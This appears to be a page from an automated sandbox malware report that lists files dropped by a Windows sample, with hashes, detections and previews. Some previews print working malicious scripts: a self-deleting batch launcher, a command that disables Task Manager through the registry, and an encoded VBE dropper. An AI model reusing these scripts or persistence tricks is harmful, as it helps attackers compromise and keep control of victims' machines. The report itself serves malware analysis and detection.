Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Roaming\Microsoft\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.221928094887362
Encrypted:	false
SSDEEP:	3:luyn:jn
MD5:	64028448145867E423675F4BC0355D49
SHA1:	6F671417A03A9B851B03FB3C290455CF3B35F961
SHA-256:	ACF675C370B13549EA07B1E7F74712411B341FA1BFF7E4DF38CA47C168467A67
SHA-512:	F4ED56C74AF3B61855142828E299FAB2301F0518F10E2F25D8E4276D005AF5F2510E23DFE767F3ACBD68B2CC7D308C74BEAF8EC35E5A043D1209FEFAF5635050
Malicious:	false
Preview:	7kwJiNUujyhkr6BlEgCM

C:\Users\Default\AppData\Roaming\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\Downloads\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.547315560369874
Encrypted:	false
SSDEEP:	3:u8PQW3/rQh1xvRnAAGcUdSAoU5kp7:uZW3DQbZS9boBp7
MD5:	5CA8276E77A822E7E6EC94AC255D60DC
SHA1:	6219D6B5954926614280A8FDA6DF878EC569A5B8
SHA-256:	2FC9E7CEDA5EB591A9C2AF5094B3149CAC3CFA1C728548CE683D0F9158E0F9A2
SHA-512:	A9F14D91323F978FA4C8A8091C95DCB7AE6B4C8D97DA4B33494C573C00B250AD582F20B1C16373E80A1FE67DEA5BE72B0A6DCBB3EF33358AE50AE700077A6388
Malicious:	false
Preview:	dJusyr5IJ8y5QuwYLQ73TOBRzoO6GvYAh5D1f546XGjkv8H0eGkGlVvPId3Jc9CXjxXUr52PWBgNoag1hYcALRZMK

C:\Users\Default\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Idle.exe.log

Download File

Process:	C:\providerReviewperfsvc\Idle.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1588
Entropy (8bit):	5.361611429115807
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHpHNpv:iq+wmj0qCYqGSI6oPtzHeqKktJtpv
MD5:	3B4F1B7283C5F068FAC503E2C467404B
SHA1:	5BFDBDF8944BCDE1734AC03BD3B7C979D7C77F9F
SHA-256:	148AAAA94B0EF24D89808623C71D41B59EF222BDA6758AE53209A7DD39FCA986
SHA-512:	81A400D98EF649722FD8EED0AEA4506D652C60094D9F15E10928AFC9BFBB3519E097A3F432A8B680FDF815AB99318C3D7D856E567CAFDBE27AC206420358490F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\hyperIntoruntime.exe.log

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHpHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKktJtpaqZ8
MD5:	FE86BB9E3E84E6086797C4D5A9C909F2
SHA1:	14605A3EA146BAB4EE536375A445B0214CD40A97
SHA-256:	214AB589DBBBE5EC116663F82378BBD6C50DE3F6DD30AB9CF937B9D08DEBE2C6
SHA-512:	07EB2B39DA16F130525D40A80508F8633A18491633D41E879C3A490391A6535FF538E4392DA03482D4F8935461CA032BA2B4FB022A74C508B69F395FC2A9C048
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\i5MIO4Vb1b

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774723
Encrypted:	false
SSDEEP:	3:Ga/QOcy7:GaYTy7
MD5:	6AF1C0BE510033B802A81E8ADA3B6A6C
SHA1:	8B1B6E5EAE031731BDC5E54506E9D5A1D8B32CBA
SHA-256:	B71B32BF1D3F0D0929E8A216E3A76331A3C0EE91F3DE6CDA26564550503089B1
SHA-512:	7D732FF416ABA73867152EE1363F841B348DB082C014348CBBEAF34A574B4B092F7DBF1104433B6FF938CC746758B0AB518FF5F12BBC4BD751DE8D577CF21407
Malicious:	false
Preview:	kHC99AU4WCuW8IyYlJYoa15fB

C:\Users\user\AppData\Local\Temp\rIyUTfpTbB.bat

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.009865405394224
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DEdDlDUqpJovKOZG1N723ft:OTg9YDEdDpUqnFaF
MD5:	7EBD4799480D8837096F49BA673AE004
SHA1:	8FDDFF782F366E305FB4A7161890A465BAF8C017
SHA-256:	2B805E5A05E2B8D484DC2CA038983F950AD12B5735A3762E41C4954448349A9B
SHA-512:	FFED6002900760580C3E22E142B41DC65A734D863931C28F4A2CF26D32478AF5E8936D57B299DE2D67F2BD1BF5CBE5685EA26620F16EF7D1A854CDE5A2B3B29C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\providerReviewperfsvc\hyperIntoruntime.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\rIyUTfpTbB.bat"

C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (1380), with no line terminators
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	5.299738377990061
Encrypted:	false
SSDEEP:	24:+4w2b35Ev11BPTXw1mXws1FfXwaEtCuXf2Xw33XwIz04FjXws1FO2ZQ5b:fA11V15uP9Fz0aP1FO2Zub
MD5:	1492A940B6ACB27185A1F1E2D99F2785
SHA1:	AF35E976B0236D8EFD2826E5A32CE93D87C75886
SHA-256:	7DF4645EFD8A55CB5AC2CE8B55A451DD2310606DEF7B9C5E63A88B045E1CDEDF
SHA-512:	04E623BDD49A65CCB3685D8687B3B741ED08A0917F4EA6F7257574E4D3AD2F67F02B055D31A6DE4312A12881BBC8DA38BEA68FBF041C01D3BA9025446FCA2F88
Malicious:	false
Preview:	eyIzYjZmYWE1Yzg4NGJkMzEzMmQwNWQ4YmExOGM2M2Y2ZTZkMzQ4ZDcxIjoiW1wiQzpcXFxccHJvdmlkZXJSZXZpZXdwZXJmc3ZjXFxcXGh5cGVySW50b3J1bnRpbWUuZXhlXCIsXCJDOlxcXFxQcm9ncmFtIEZpbGVzXFxcXFdpbmRvd3MgUGhvdG8gVmlld2VyXFxcXGVuLUdCXFxcXG5FdVR5QnRXQXZqa1lRcklNaHRaV0UuZXhlXCIsXCJDOlxcXFxwcm92aWRlclJldmlld3BlcmZzdmNcXFxcSWRsZS5leGVcIixcIkM6XFxcXFVzZXJzXFxcXERlZmF1bHQgVXNlclxcXFxEb3dubG9hZHNcXFxcbkV1VHlCdFdBdmprWVFySU1odFpXRS5leGVcIixcIkM6XFxcXFVzZXJzXFxcXERlZmF1bHRcXFxcQXBwbGljYXRpb24gRGF0YVxcXFxNaWNyb3NvZnRcXFxcbkV1VHlCdFdBdmprWVFySU1odFpXRS5leGVcIixcIkM6XFxcXFdpbmRvd3NcXFxcU3lzdGVtMzJcXFxcbkV1VHlCdFdBdmprWVFySU1odFpXRS5leGVcIixcIkM6XFxcXHByb3ZpZGVyUmV2aWV3cGVyZnN2Y1xcXFxuRXVUeUJ0V0F2amtZUXJJTWh0WldFLmV4ZVwiLFwiQzpcXFxcUmVjb3ZlcnlcXFxcUnVudGltZUJyb2tlci5leGVcIixcIkM6XFxcXFJlY292ZXJ5XFxcXG5FdVR5QnRXQXZqa1lRcklNaHRaV0UuZXhlXCIsXCJDOlxcXFxwcm92aWRlclJldmlld3BlcmZzdmNcXFxcbkV1VHlCdFdBdmprWVFySU1odFpXRS5leGVcIixcIkM6XFxcXFByb2dyYW0gRmlsZXNcXFxcV2luZG93cyBNZWRpYSBQbGF5ZXJcXFxcbkV1VHlCdFdBdmprWVFySU1odFpXRS5leGVcIixc

C:\Windows\System32\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.672502859867187
Encrypted:	false
SSDEEP:	6:NVK0vYbPV/8TxL4PbU3+AFl18HXKkqvN+mH8InvIn:CL7K4jQ+AlGaH+mH8IvIn
MD5:	1C81189E7E4034CEBB00800E8C0B5972
SHA1:	E3C7E327837C09EE282C4A89EE3CFA4959C187BE
SHA-256:	0C6EC32BC57AD48BF1BE69A2271CA67C53C788EA0A1B9E6BA229B0CD6DC9EA84
SHA-512:	83F9E5EDAF2A441F11DD33BD67ED6A39B81BC0F0F3327B025C83058341B4BC53FE7DF08A36F77A38FAE5543653392116293714E2D40D819BDFAF3C493DDFC0FF
Malicious:	false
Preview:	liIJcZiQvO3w0hzXmNAFAIY1BAsiZlQWYHIBpYISYv00mQVujxipLtNcKRIcr91J8hYtZyrOEsrORhOvo89mDkKo3p0YQqkY4r2F2lVuFTlcC8LmCWxsAOGXWtzt7T8XHTUkpJ3CnPgt9sl5eOW332YpketIwlwwVNVtnk63duFurWXoH3Ot6FeP4p9LZvQCcuYwW2S4RdaIwn7OHFA2WCzQsFy8kvdsdD

C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\twain_32\backgroundTaskHost.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\twain_32\eddb19405b7ce1

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	236
Entropy (8bit):	5.751077217600274
Encrypted:	false
SSDEEP:	3:KRcPVw8ChKjZ4N2ihiUNi5q9EcfUdgE1ugdvoIOVvgGE79Uk2hGCN10DDVhggyEQ:KewLhKj9ihiUqcrEx5o479ROWWZE+Hn
MD5:	364FCB8A264718A440C745D74EBF1855
SHA1:	00B625C4CC70868D2A1BB22AAB14D339AE226112
SHA-256:	57B5CE41BDA3ECE7FDB903EAD82B898A59B7020C905A23D0EC8DAC95226F994D
SHA-512:	CB0AC2CCA44386A8F019BE21882F9B1DEC595AB968C270DB164FAD90F2D498B585986CDCC0792F8F17A8B4E6B2A3A09CEFDBC54892B7EFEBFE5158998301B492
Malicious:	false
Preview:	BkIqqCrylNozxQqXdDisWp44gsTmkCdoRHeokrfod2AkmuoiYVb3Xk1WqNK8tFOjuAhpwCwvh4OdoTSvDuNPkkQqQH7Wgh5YoazlM8vWipVcWXrW4Z48189Ku1ZpEaPA90zNeqiE80q5OxU2ZkbHm6gpbo1ViGSIaUdgie2N009ASD56ghPd8HXCTJvzzNf2iif3UyU5sNQw7gXYs4yB1yJS6aMYsCYnUHbtiClsNTvu

C:\providerReviewperfsvc\6ccacd8608530f

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (874), with no line terminators
Category:	dropped
Size (bytes):	874
Entropy (8bit):	5.913899421304839
Encrypted:	false
SSDEEP:	12:fadPXknTnzK/2ZCxVTgSjtMAyKt8fSBUT3HgsJpm8wpHL6R+9LkXSA1Xu:fueTnzKOZ05gSjuZ6irAkQ8krX1gSyu
MD5:	7C67694E857E2ACC42D377E8E07B0455
SHA1:	9EBB96971EC40D65BAC81072FB08615AA5BCEDF0
SHA-256:	610AA5BB7A54D89E30FC708C6F73A3EC2742EE7776135927B93A95A2CB1D86BE
SHA-512:	AFD96B32D0F69A1AE28DD3C48AB443B7EE9F820994DC7A78027F8CFB5CC8FBDA5A6EE65FED9B0DF31EBA82046C84FDE20BA5632A3771CEEFD8CC14224B153E2A
Malicious:	false
Preview:	J34QuOPFPD3II8yfSKI7VeizkDeaf8Rx7oDSMIWixUamXcXZn7rQ62gpVFpquyjQvGKd5gSJxjKBD6cIpExiRB0EIX7Hcpy9vK0QR3eHohcXsfmZmhBpAA8tQFVhiLqHuKP3FM0vjq4tjdWnvie5oJ8uLH9Mi7ic0UmiPsUaqPGUGPKxtswArvdlLfs7MoNmIb2O0xXCODOYDoo66Mc0KhvF1BWtAWOCCdLoW565UtwngEih1vA9LXbkpxXyboB2yLWjc9jBPgfbvIjwdz2OVP0oCl8jhIeqs4yUr8E1M9tp1AyhNlVmvwgjVrh1AAeHBzs1TOEeuBCVfLxBwbV6w256XO9AbN0LfmnCR7N9g11ttLEK4fEjoiUJ4weEPEChK002hvtzNWZ5ALMMKzF6JRg6SeHfcJucyUi2ULmJvOWSIYIskS4Z8FY3T3kCnOXEm6HqmT18M6L45Ox3VZ5KOUes5pialjgg1RqMRcGQa6NB4d8FFqrOTMzRcYu7ubWmaoDnilm2SouRGcycqdU42RNpcYt2rJf8jllQaVheEz5obiLAkSQRHcuIaYLJ2tKJIwrf0hCV50zDWjN3NsSZ2O1H0d0BKXmVowfp0pJCQ4VQmrv0KR6JavQ44koXrALiOeYkDiDhiQJ82kfJr903bc42fkuQAwUPtxCISLwmNYkKmSBUEeqsJSGvjgEcxxgw53OFhX1fMOpC2uQNjaLgGmFbqRiwGUya2xOsD6wrnKg5mD2yP13XlAqTxxYQyFZ2ZOKEfiJmod35FKynYtgOaby1H54Qif3hvogX3xSqsRsHHuNn8v1EiKb7aT7ko2EIkVKbnbtla0gJsquXrQRxoy8lMi7k0sCzNkhvjwAhBQ

C:\providerReviewperfsvc\76f3bf53489b45

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	ASCII text, with very long lines (623), with no line terminators
Category:	dropped
Size (bytes):	623
Entropy (8bit):	5.893872637023845
Encrypted:	false
SSDEEP:	12:SL7TShodPk+z2WkLc3c7sYHAXaujGhvnYtJh+UiRg5PSoioWSWk4v:SLCdY3/zXbcAtv+my
MD5:	E7D98C4018D2A0526C91987A72C9D312
SHA1:	F6E7CCAE552F28337EA5BA14CB9B63F4DAA2327E
SHA-256:	2CE6338A72C74F6D8954B90EDFA211C76590A72AD7CCB716544CA092FB04B63D
SHA-512:	24FC8C28AFBA5499EBCE620B3BBC5592D859B0125F2DC11C7CBEB90D33493E6A158C25CEFA190EB584519467C070E23CB3BB3EABA9181BA6D069567F2EFADA8B
Malicious:	false
Preview:	Ei8MyFSmEVP3J1U9Rq0LMsJZ5pWL4CTw4HiUNDQregd0z2FBYMCvDeZWZjQIsHrBBd9CSAwNaIrqOSjCjVxrAhsZrL5nwI8XycyW3DsYayV4xtIHAOiXU9AdvkUGFIbRKT2wdNJgmZRMMxl8DynijlDybUkTtlSSWDue1VnwFCv5syR78WDRf3sjQDUImzxAG9zICHHsK0dhzIFmDnUWiBwdVLNxAfKPPuyt9J41OUGoaKtI7sF9eabEMWw13TrpqNSFTWn3sdIN5ICKcF0SZLuySuhnWD84nb7M2oylFLQBSOJDTmZxdZPfddwiyAhpfNkdKzRxRONO4tgEleTtoKaOLctZ2PwEnlgEnp2dUlgPLBku6r7UqxAUwWSrF25BcIkTMca5lzYCnLCK29dKRcY0kLSRWKXcpfxDaQheQBs0Y7rkTIzFZvt9tusBJJjab6XIY9tlc83Qthbmer8OVRD4vxTqifUHcSYckiLTZNna1dQMSGhcLUFJ2cXlqCD6owxbJ8B5fozHonCShHXb816HMOkILknWKqvFpyDUEl6gf8fPZEEjol8wzqO4Y3u5Bc7817msDDXW5ZlOtVsGfDsir9P9kI5K1AfDAhXccWfkNl0

C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe

Download File

Process:	C:\Users\user\Desktop\jx2eCe6ymR.exe
File Type:	data
Category:	dropped
Size (bytes):	235
Entropy (8bit):	5.844065060548006
Encrypted:	false
SSDEEP:	6:GHwqK+NkLzWbH+8nZNDd3RL1wQJR60kp9JMdEV:GuMCzWL+4d3XBJDkp9JnV
MD5:	FB11CC210BA0447A34647E724E8AB39D
SHA1:	8D99CE75967A91B93D50D1125C2688AAE2831318
SHA-256:	577CBFF67180BFC384AC423878600C776A62E2C17D0A54BB5D84FB3F242EFF7D
SHA-512:	5B920EC51D114DB6FF6FEC4893C438D26FC29D3F785A8976377EBDD2D6106EA3F114FBBC5EF1488BAAEFC202EB23C0C3C2BEC2FA4A45439FB98D85E79BE38046
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^0gAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2vcT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~JujH/O.:GDk7+u&wMW-k9+.].\k.Aw.D0k-^zN.R4oIu{tCHsm.o0 HjTlMF(a3 4mOr~~Z~,0l^/.EkQAAA==^#~@.

C:\providerReviewperfsvc\Idle.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\providerReviewperfsvc\hyperIntoruntime.exe

Download File

Process:	C:\Users\user\Desktop\jx2eCe6ymR.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
SHA-512:	5580A4329CA2EBA7016F601FF39E0F76167C4BAA09CE5C42D5E6F0D494629CE73E91D540B1E78DBB905BB7E71AFD61612D64F3BBA35461D91AB947568376E95A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. ....................................@.....................................K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........@......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat

Download File

Process:	C:\Users\user\Desktop\jx2eCe6ymR.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.0240493341235295
Encrypted:	false
SSDEEP:	3:wWATjDlSiUuN7ALsLAEFDFQNBZwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FY:yTjDlDUqpJsTStuH1jhRiI36BY
MD5:	4745423EB28E951E9B234C245830068F
SHA1:	87240696A0553CB46197011E6B734CD21710691A
SHA-256:	F8FCB0384E78F0368C59200E3BE9101A7EAAFB5091DB0A624D26B67D5D096B84
SHA-512:	EC7CFC4D61C2B054AF2CD2156D18AD8DD0F682911A200284AA077D84CF9C9F050FDA75F5CBC6E88273BC9B3E3F1C0CB85B52BB96EE5E8278A2781989808D2213
Malicious:	false
Preview:	"%SystemDrive%\providerReviewperfsvc\hyperIntoruntime.exe" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe

Download File

Process:	C:\providerReviewperfsvc\hyperIntoruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1247744
Entropy (8bit):	6.949388336600539
Encrypted:	false
SSDEEP:	24576:hhLcdZ1C3Z/0JMcmMINlBxRtEOmkl+WPtZJc4thwMIK:zLnuINVRtEOmksWP1gP
MD5:	CA3AE9AE64643D74D4EAF06F154F272A
SHA1:	E0EAF5CB4E0281D0CD0EFC33E5FAD25C2449442D
SHA-256:	81C54E77B089F4E527AE6D671B3790721C9AA1984A79D9608032D33036727392
